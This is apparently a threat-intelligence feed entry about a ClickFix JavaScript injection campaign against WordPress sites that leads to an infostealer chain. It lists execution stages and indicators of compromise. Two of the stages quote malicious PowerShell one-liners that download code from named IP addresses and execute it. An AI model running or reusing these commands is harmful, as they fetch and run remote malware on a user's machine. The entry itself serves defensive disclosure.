← Back to Pulse Feed
PULSE DETAIL
PULSE NAME
ClickFix / Shadow DOM JS Injection Campaign — Multi-stage infostealer chain targeting WordPress sites
Observed Execution Flow:
Stage 1: Initial Access via Browser ---> Clickfix
Stage 2: Obfuscated PowerShell Execution ``` Write-Host(iex(irm((('178.'+'16')+('.52.'+'232')))))2>$null ```
Stage 3: Secondary Payload Download A child PowerShell process (PID 4908) spawned by PID 7408 executes: ``` Invoke-WebRequest -Uri "http://158.94.208.92" -UseBasicParsing Invoke-Expression $checkResult.Content ```
Stage 4: Code Compilation and Injection (csc.exe)
Stage 5: Payload Execution in svchost.exe & self-deletion when finished
Stage 6: Network Communication -> Suricata IDS detects DonutLoader requesting additional payloads from 158.94.208.104:80
Detailed description available at https://secureleaf.dispensight.com/SecureLeaf-ADV-2026-WP-001.pdf
MITRE ATT&CK & Malware Families
Indicators of Compromise (15 / 191 total)